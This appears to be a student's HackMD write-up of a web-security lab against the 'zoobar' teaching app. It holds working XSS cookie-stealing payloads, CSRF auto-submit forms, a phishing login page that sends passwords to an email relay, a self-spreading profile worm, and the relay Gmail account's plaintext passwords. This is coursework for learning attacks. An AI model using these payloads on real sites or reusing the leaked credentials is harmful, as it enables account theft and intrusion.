lsjsg
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Lab 3 - Web Security ## Cross-site scripting (XSS) attack ### Exercise 1 For exercise 1, we can access the cookies simply using `document.cookie`. So we can write the js code as: ```javascript alert(document.cookie) ``` Which pops up the window ![image-20210809214549621](https://raw.githubusercontent.com/roskeys/pictures/master/imgs20210809214549.png) ```bash [ INFO ]: Testing exploit for Exercise 1... Registering as grader, graderpassword Registering as attacker, attackerpassword Expecting cookie: grader#acf95f6d58455a2615e7787079ad4006 [ PASS ]: alert contains: grader#acf95f6d58455a2615e7787079ad4006 ``` ### Exercise 2 In this project, we are supposed to send the email of the cookie of the victim to the attacker's email. We can first insert the following lines to `users.html` file. ```javascript (new Image()).src='http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.cookie) + '&random=' + Math.random(); ``` Then we write an rest api to send the email first as: (Note you can login to gmail account with username: "sutdsystemsec123456789@gmail.com" and password: "qaz123,.") At the same time, craete a port mapping in virutal machine setting: `TCP 127.0.0.1:8000 <=> 127.0.0.1:8000`. <!-- https://realpython.com/python-send-email/ --> ```python #!/usr/bin/env python3 from flask import Flask from flask import request import smtplib, ssl app = Flask(__name__) @app.route('/', methods=['GET']) def email_server(): arg1 = request.args.get('to', None) arg2 = request.args.get('payload', None) if arg1 is None or arg2 is None: return 'Error: Missing parameters' else: message = "Subject: Cookie of zoobar \n\n Cookie: ".format() + arg2 # context = ssl.create_default_context() with smtplib.SMTP_SSL("smtp.gmail.com", 465) as server: server.login("sutdsystemsec123456789@gmail.com", "jhpjyjfagqzbhwap") server.sendmail("sutdsystemsec123456789@gmail.com", arg1, message) return {} app.run(host='127.0.0.1', port=8000, debug=True) ``` By running make check, we can view the information: ```bash [ INFO ]: Testing exploit for Exercise 2... Registering as grader, graderpassword Registering as attacker, attackerpassword [ ???? ]: Check email, expecting string 'grader#437bec0f6467dd29fed61c57fdc8d097' ``` Then in the email, we found the following information, that means our attack is successful. `Cookie: PyZoobarLogin=grader#437bec0f6467dd29fed61c57fdc8d097` ![](https://i.imgur.com/IfKLvKz.png) ### Exercise 3 First we can view the source code of the search bar. ```htmlembedded <input type="text" name="user" value="test" size="10"/> ``` So we would like to construct the xss script as: ```htmlembedded <input type="text" name="user" value=""> <script>alert(document.cookie)</script> <input type="hidden" size="10"/> ``` So the input should be `"> <script>alert(Math.random() + document.cookie)</script> <input type="hidden` After fill in the search bar with this line, we can view the cookies of the current user. ![](https://i.imgur.com/FNUtfVc.png) Then we can copy the url from the address bar and write it to `answer-3.txt`. ``` http://localhost:8080/zoobar/index.cgi/users?user=%22%3E+%3Cscript%3Ealert%28Math.random%28%29+%2B+document.cookie%29%3C%2Fscript%3E+%3Cinput+type%3D%22hidden ``` Then by running make check, we can see our link have successfully passed the check ```bash [ INFO ]: Testing exploit for Exercise 3... Found URL: http://localhost:8080/zoobar/index.cgi/users?user=%22%3E+%3Cscript%3Ealert%28Math.random%28%29+%2B+document.cookie%29%3C%2Fscript%3E+%3Cinput+type%3D%22hidden Registering as grader, graderpassword Registering as attacker, attackerpassword Expecting cookie: grader#559c5c165ee5ecbeeaad82372569db7f [ PASS ]: alert contains: grader#559c5c165ee5ecbeeaad82372569db7f [ INFO ]: Testing exploit for Exercise 4... ``` ### Exercise 4 We can simply copy our code from exercise 2 into the script block, and form the code as: ```javascript <input type="text" name="user" value=""> <script>(new Image()).src='http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.cookie) + '&random=' + Math.random()</script> <input type="hidden" size="10"/> ``` Then we can encode the input `"> <script>(new Image()).src='http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.cookie) + '&random=' + Math.random()</script> <input type="hidden` Then we can form our url as: ``` http://localhost:8080/zoobar/index.cgi/users?user=%22%3E+%3Cscript%3E%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsutdsystemsec123456789%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29+%2B+%27%26random%3D%27+%2B+Math.random%28%29%3C%2Fscript%3E+%3Cinput+type%3D%22hidden ``` By visiting this link and checking our mail box, we can see we have successfully received the cookie of the victim. ![](https://i.imgur.com/H2yrqtD.png) By running `make check`, we can view the following line: ```bash [ INFO ]: Testing exploit for Exercise 4... Found URL: http://localhost:8080/zoobar/index.cgi/users?user=%22%3E+%3Cscript%3E%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsutdsystemsec123456789%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29+%2B+%27%26random%3D%27+%2B+Math.random%28%29%3C%2Fscript%3E+%3Cinput+type%3D%22hidden Registering as grader, graderpassword Registering as attacker, attackerpassword [ ???? ]: Check email, expecting string 'grader#ad22966f1e96cbc9e50adbee109d7b00' ``` Then in email, we can find it exactly contains the above line `Cookie: PyZoobarLogin=grader#ad22966f1e96cbc9e50adbee109d7b00` ![](https://i.imgur.com/mzLQSOL.png) ### Exercise 5 For current page, we can view that it shows the warning "Cannot find that user" ![](https://i.imgur.com/eoqiFWo.png) Now we have to disable this warning. So we add a style tag to the above js code: ```javascript <input type="text" name="user" value="" size="10"> <script>(new Image()).src='http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.cookie) + '&random=' + Math.random()</script> <style>.warning{visibility: hidden;position: absolute;}</style> <input type="hidden" size="10"/> ``` By encoding the texts `http://localhost:8080/zoobar/index.cgi/users?user=%22+size%3D%2210%22%3E+%3Cscript%3E%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsutdsystemsec123456789%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29+%2B+%27%26random%3D%27+%2B+Math.random%28%29%3C%2Fscript%3E+%3Cstyle%3E.warning%7Bvisibility%3A+hidden%3Bposition%3A+absolute%3B%7D%3C%2Fstyle%3E+%3Cinput+type%3D%22hidden` and reconstruct the url. When we visit the page again, we can see that the warning message disappeared. ![](https://i.imgur.com/vreI0JT.png) Then we run `make check`, we get the following cookies: ```bash [ INFO ]: Testing exploit for Exercise 5... Found URL: http://localhost:8080/zoobar/index.cgi/users?user=%22+size%3D%2210%22%3E+%3Cscript%3E%28new+Image%28%29%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%3F%27+%2B+%27to%3Dsutdsystemsec123456789%40gmail.com%27+%2B+%27%26payload%3D%27+%2B+encodeURIComponent%28document.cookie%29+%2B+%27%26random%3D%27+%2B+Math.random%28%29%3C%2Fscript%3E+%3Cstyle%3E.warning%7Bvisibility%3A+hidden%3Bposition%3A+absolute%3B%7D%3C%2Fstyle%3E+%3Cinput+type%3D%22hidden Registering as grader, graderpassword Registering as attacker, attackerpassword [ ???? ]: Check email, expecting string 'grader#b4884d78e756a335066e5e67e076f9f3' [ PASS ]: ./lab3-tests/answer-5.png matched reference image (522668 non-background pixels) ``` Then we check our mail box, we found we received ` Cookie: PyZoobarLogin=grader#b4884d78e756a335066e5e67e076f9f3`, then this means that our attack is successful. ![](https://i.imgur.com/EnDzp8r.png) ## Cross-site request forgery (CSRF) attack ### Exercise 6 We registered two account test and attacker. Then we logged in the test account. Then we viewed the source of the transfer page and copied the `<form>` tag into file `answer-6.html`. ```htmlembedded <form method="POST" name="transferform" action="http://localhost:8080/zoobar/index.cgi/transfer"> <p>Send <input name="zoobars" type="text" value="10" size="5"> zoobars</p> <p>to <input name="recipient" type="text" value="attacker" size="10"></p> <input type="submit" name="submission" value="Send"> </form> ``` ![](https://i.imgur.com/c3sFWt6.png) By clicking "Send", we can see that the test account have successfully send 1 zoobar to the attacker. Which function identically to the Zoobar program. ![](https://i.imgur.com/f1GxQgg.png) ### Exercise 7 To auto submit the form, we first added and id to the form, so that we can easily search it using DOM id. Then submit the form in the `<script>` tag below: ```htmlembedded <form method="POST" id="transfer" name="transferform" action="http://localhost:8080/zoobar/index.cgi/transfer"> <p>Send <input name="zoobars" type="text" value="10" size="5"> zoobars</p> <p>to <input name="recipient" type="text" value="attacker" size="10"></p> <input type="submit" name="submission" value="Send"> </form> <script>document.getElementById("transfer").submit()</script> ``` After opening the html file in the browser, we can see it automatically jumped to the result page `http://localhost:8080/zoobar/index.cgi/transfer` ![](https://i.imgur.com/kxiwUH0.png) ### Exercise 8 In order to hide the transfer process, we can redirect the result of the POST page onto the iframe using target parameter of the form. Then we set the form to be non-visiable. Since the form is not loaded before the POST is send. It will not trigger the redirect. But upon receiving the POST response, it will trigger the event load and start to redirect the window to "https://www.sutd.edu.sg". ```htmlembedded <form method="POST" style="display:none" id="transfer" name="transferform" action="http://localhost:8080/zoobar/index.cgi/transfer" target="myiframe"> <p>Send <input name="zoobars" type="text" value="10" size="5"> zoobars</p> <p>to <input name="recipient" type="text" value="attacker" size="10"></p> <input type="submit" name="submission" value="Send"> </form> <iframe style="display:none" id="myiframe" name="myiframe" src=""></iframe> <script> document.getElementById("transfer").submit() document.getElementById("myiframe").addEventListener("load", ()=>{ window.location = "https://www.sutd.edu.sg/" }, false) </script> ``` We successfully carried out the attack and the POST message is not blocked by the same-origin policy. The same-origin policy is used to protect the resource from accessing the other origins. Like using JavaScript to access the content from other origins. As the result, the same-origin policy applies only to scripts. The HTML tags, css, dynamically loaded scripts are not restricted. Since our submition of the POST request is directly send using the HTML form tag, we send the request directly using the browser build in form submission action. Which is not controled by same origin policy, so that our request can success. Reference: https://www.w3.org/2001/tag/2011/02/security-web.html, ## Fake Login Page ### Exercise 9 For this part we simply save the current page. Then for the urls we simply need to replace the URLs in this page for submission, register and css. ```htmlembedded= <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="http://localhost:8080/zoobar/media/zoobar.css"> <title>Login - Zoobar Foundation</title> </head> <body data-new-gr-c-s-check-loaded="14.991.0" data-gr-ext-installed=""> <h1><a href="http://localhost:8080/zoobar/index.cgi/">Zoobar Foundation for Patriotic Discourse</a></h1> <h2>Supporting the proven advocates of the new world order</h2> <div id="login" class="centerpiece"> <form name="loginform" method="POST" action="http://localhost:8080/zoobar/index.cgi/login"> <table> <tbody> <tr> <td>Username:</td> <td><input type="text" name="login_username" size="20" autocomplete="no" value=""></td> </tr> <tr> <td>Password:</td> <td colspan="2"><input type="password" name="login_password" size="20" autocomplete="no"> <input type="submit" name="submit_login" value="Log in"> <input type="submit" name="submit_registration" value="Register"> </td> </tr> </tbody> </table> <input type="hidden" name="nexturl" value="http://localhost:8080/zoobar/index.cgi/"> </form> </div> <div class="footer warning"> </div> <script>document.loginform.login_username.focus();</script> </body> </html> ``` ```bash [ INFO ]: Testing exploit for Exercise 9... Registering as grader, RUZUHOUSSRZF Registering as attacker, attackerpassword Entering grader/RUZUHOUSSRZF into form. [ PASS ]: User logged in ``` ### Exercise 10 In this exercise, we can get the password when the victim submitted the form. We can write the following lines in the script tag as below. ```javascript document.getElementsByName("loginform")[0].addEventListener("submit", () => { alert(document.getElementsByName("login_password")[0].value); }, false); ``` When the user entered the massword and pressed submit button, the submit event will be triggered and we can view the password. ![](https://i.imgur.com/djjJ2gg.png) ### Exercise 11 In this exercise, Since when a form is submitted, outstanding requests are cancelled as the browser navigates to the new page. So we set two timeout to the request as below. ```javascript= var form = document.getElementsByName("loginform")[0] form.addEventListener("submit", (event) => { event.preventDefault(); setTimeout(() => { (new Image()).src = 'http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.getElementsByName("login_password")[0].value) + '&random=' + Math.random(); }, 1000); setTimeout(() => { form.submit(); }, 2000); }, false); ``` When we navigate the login page enter the password and click login. Then we can view that the browser waited for a while. Then we check the mail box, the password is successfully sent to the attacker. ![](https://i.imgur.com/QEVgVrW.png) ### Exercise 12 In this challenge, we are supposed to email the password to the attacker and then navigate the victim to the target webpage. However, in exercise 11, we find that using submit request will missing parameters to indivate whether the user is login or register, we can use JS to click submit button in order to attach the parameters on the button. We modified the code below: ```javascript document.loginform.login_username.focus(); var is_register = false; var form = document.getElementsByName("loginform")[0]; document.getElementsByName("submit_registration")[0].addEventListener("click", ()=>{is_register = true}); var submit = (argument) => { form.removeEventListener("submit", steal); if (is_register){ document.getElementsByName("submit_registration")[0].click(); } else { document.getElementsByName("submit_login")[0].click(); } } var steal = (event) => { event.preventDefault(); setTimeout(() => { (new Image()).src = 'http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.getElementsByName("login_password")[0].value) + '&random=' + Math.random(); }, 1000); setTimeout(submit, 2000); } form.addEventListener("submit", steal, false); ``` When the victim navigate to this page and click login, on the background the webpage will send user's password first, then successfully navigate them to the true home webpage after login. ![](https://i.imgur.com/ZyHzAv5.png) ### Exercise 13 Since Same-Origin Policy is relaxed for script inclusion, we can even access the variables stored in global variables. As the result, we can make use of this to check if the user is logged in. Inside file zoobars.js, we can see that if div with id `myZoobars` exists it will change the div tag's inner text to myZoobars. We can make use of this to check if the user is logged in. <!-- we can see there's the global variable myZoobars exists, we can include this JavaScript file and use `myZoobars` to check whether the user have logged in. --> ```javascript var myZoobars = {{ g.user.zoobars if g.user.zoobars > 0 else 0 }}; var div = document.getElementById("myZoobars"); if (div != null) { div.innerHTML = myZoobars; } ``` As the result, we included this js in our fake login html file. ```htmlembedded <div style="display:none", id="myZoobars"></div> <script type="text/javascript" src="http://localhost:8080/zoobar/index.cgi/zoobarjs"></script> ``` Then we can modify our code to check if the user have already logged in. If the user is already logged in, then we steal the zoobars and redirect to https://sutd.edu.sg otherwise, we steal the user's password when they logged in. ```javascript <div style="display:none", id="myZoobars"></div> if (document.getElementById("myZoobars").innerHTML) { document.getElementById("transfer").submit(); document.getElementById("myiframe").addEventListener("load", ()=>{ window.location = "https://www.sutd.edu.sg/" }, false) } document.loginform.login_username.focus(); var is_register = false; var form = document.getElementsByName("loginform")[0]; document.getElementsByName("submit_registration")[0].addEventListener("click", ()=>{is_register = true}); var submit = (argument) => { form.removeEventListener("submit", steal); if (is_register){ document.getElementsByName("submit_registration")[0].click(); } else { document.getElementsByName("submit_login")[0].click(); } } var steal = (event) => { event.preventDefault(); setTimeout(() => { (new Image()).src = 'http://127.0.0.1:8000?' + 'to=sutdsystemsec123456789@gmail.com' + '&payload=' + encodeURIComponent(document.getElementsByName("login_password")[0].value) + '&random=' + Math.random(); }, 1000); setTimeout(submit, 2000); } form.addEventListener("submit", steal, false); ``` ### Exercise 14 In this part, the attacker profile will be supposed to transfer 1 zoobars to the attacker when visit his profile. First we added a hidden table for transfering zoobars, and atomatically call transfer when loaded. We can direct the response to the iframe myiframe as target to prevent the web page from redirecting. We also created new warm as text, then insert into the value part of the user `profile_update`. After that we can submit this form, similarly, we redirect the response to the iframe named profileframe. So that the zoobar is transfered and the user's profile is also infected. ```htmlembedded <div id="warm"> <b>Scanning for viruses...</b> <form method="POST" style="display:none" id="transfer" name="transferform" action="http://localhost:8080/zoobar/index.cgi/transfer" target="myiframe"> <p>Send <input name="zoobars" type="text" value="1" size="5"> zoobars</p> <p>to <input name="recipient" type="text" value="attacker" size="10"></p> <input type="submit" name="submission" value="Send"> </form> <iframe style="display:none" id="myiframe" name="myiframe" src=""></iframe> <form method="POST" style="display:none" id="newprofile" name="newprofile" action="http://localhost:8080/zoobar/index.cgi/" target="profileframe"> <textarea id="profile_update" name="profile_update" rows="20" cols="80"></textarea> <br> <input type="submit" name="profile_submit" value="Save"> </form> <iframe style="display:none" id="myiframe" name="profileframe" src=""></iframe> <script> document.getElementById("transfer").submit(); var warm = document.getElementById("warm"); document.getElementById("profile_update").value = '<div id="warm"' + ">" + warm.innerHTML + "</div" + ">"; document.getElementById("newprofile").submit(); </script> </div> ``` We first create attacker's profile, which inserts the above code inside. Then we create new user test and use user test to visit the profile of the attacker. The attacker's profile will not show the code and the tables. But we can view that there are two post request for tranfer and update profile send successfully. ![](https://i.imgur.com/3HtteYs.png) ![](https://i.imgur.com/GyTwzR2.png) ![](https://i.imgur.com/rOVM9Vd.png) Then when we go back to the user's home page, we can see the user's zoobar has changed to 9 and the user's profile is already updated as below: ![](https://i.imgur.com/icTtvhp.png) Then we create another user named test1 to visit test's page. Then same thing happend to test1's profile, this shows our attack is successful. ![](https://i.imgur.com/WmTrVEH.png) By running `make check`, we can see that our attack is successful: ```bash [ INFO ]: Testing exploit for Exercise 14... Registering as attacker, attackerpassword Installing attacker profile Registering as grader1, password1 Viewing attacker profile [ PASS ]: ./lab3-tests/answer-14_0.png matched reference image (522712 non-background pixels) [ PASS ]: grader1 zoobars [ PASS ]: attacker zoobars Registering as grader2, password2 Viewing grader1 profile [ PASS ]: ./lab3-tests/answer-14_1.png matched reference image (522712 non-background pixels) [ PASS ]: grader2 zoobars [ PASS ]: attacker zoobars Registering as grader3, password3 Viewing grader2 profile [ PASS ]: ./lab3-tests/answer-14_2.png matched reference image (522712 non-background pixels) [ PASS ]: grader3 zoobars [ PASS ]: attacker zoobars ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully